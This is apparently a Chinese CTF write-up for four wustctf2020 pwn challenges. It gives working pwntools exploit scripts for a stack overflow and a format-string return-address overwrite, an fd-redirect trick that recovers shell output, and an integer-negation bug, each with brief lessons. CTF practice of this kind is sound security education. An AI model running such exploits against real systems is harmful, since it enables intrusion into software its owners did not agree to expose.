wustctf2020

难度不大但题目挺有意思的比赛。

wustctf2020_closed

IDA 逆向之后容易看到,程序非常简单。程序直接给出 shell,但关闭了文件描述符 1 和 2,也就是 stdout 和 stderr。这意味着如果仅仅输入一般的命令,我们的终端上不会有任何回显。

拿到 flag 的方法很简单。只需将文件描述符 1 重定向到文件描述符 0 ,这样一来终端的显示便会恢复正常。之后 cat flag 即可。

EXP

$ nc node3.buuoj.cn 25133
exec 1>&0
ls
cat flag

总结

  • STDIN(0), STDOUT(1), STDERR(2) 文件描述符指向的文件相同。
  • 重定向:exec 1>&0

wustctf2020_getshell_2

一道栈溢出题目。看到溢出长度不够,原以为需要栈迁移,后来才知道另寻他路。

溢出长度不够,若使用 system@plt 覆盖 eip 无法直接控制参数。使用 call system 指令地址覆盖 eip 可 get shell。

EXP

from pwn import *
context.log_level = 'debug'
elf = ELF('./wustctf2020_getshell_2')

if args.G:
    io = remote('node3.buuoj.cn', 25464)
else:
    io = process('./wustctf2020_getshell_2')

offset = 0x18
str_bin_sh = 0x8048650 + 32
call_system = 0x8048529

# gdb.attach(io)

payload = 'a' * (offset + 4) + p32(call_system) + p32(str_bin_sh)
io.send(payload)

# gdb.attach(io)

io.interactive()

总结

  • 覆盖 eip 为 call system 和覆盖 eip 为 system@plt 时布置参数的位置不同。

wustctf2020_number_game

需要填入一个负数,在求补后该数仍为负数。可填入 -2147483648,求补后仍为它本身。

总结

  • int 范围为 [-2147483648, 2147483647]
  • 求补 (neg) 操作为按位取反+1
  • 0x80000000(即 -2147483648) 求补后仍为 0x80000000

wustctf2020_babyfmt

泄漏栈上储存的程序地址,从而计算出程序基址。之后利用格式化字符串漏洞改写返回地址,读取 flag。

EXP

from pwn import *
context.log_level = 'debug'

if args.G:
    io = remote('node3.buuoj.cn', 29242)
else:
    io = process('./wustctf2020_babyfmt')

# gdb.attach(io)

io.sendafter('tell me the time:', 'q')
io.recvuntil(':')
leak = int(io.recvuntil(':')[:-1])
success("leak: " + hex(leak))
base_text = leak - 0xbd5
info('base_text: ' + hex(base_text))

secret = 0x000000000202060 + base_text
info('secret: ' + hex(secret))

get_flag = 0x000000000000F56 + base_text
info('get_flag: ' + hex(get_flag))

io.sendlineafter('>>', '2')
io.sendline('%7$hhnaa' + '%16$p')

io.recvuntil('aa')
leak_stack = int(io.recv(len('0x7ffeb3d030b0')), 16)
success('leak_stack: ' + hex(leak_stack))
ret_addr = leak_stack - 0x28
info('ret_addr: ' + hex(ret_addr))

io.sendlineafter('>>', '2')
io.sendline('%' + str(get_flag & 0xFFFF - 2) + 'c' + 'aa%10$hnb' + p64(ret_addr))

# gdb.attach(io)

io.interactive()

总结

  • scanf 函数在输入不符合格式时不会改变变量的值。
  • 对于 64 位的格式化字符串漏洞,除格式化字符串外的前五个参数储存在寄存器中,多余的参数保存在栈顶。
  • 利用格式化字符串漏洞布置地址时需要注意零截断。
2019-2020 @lukbash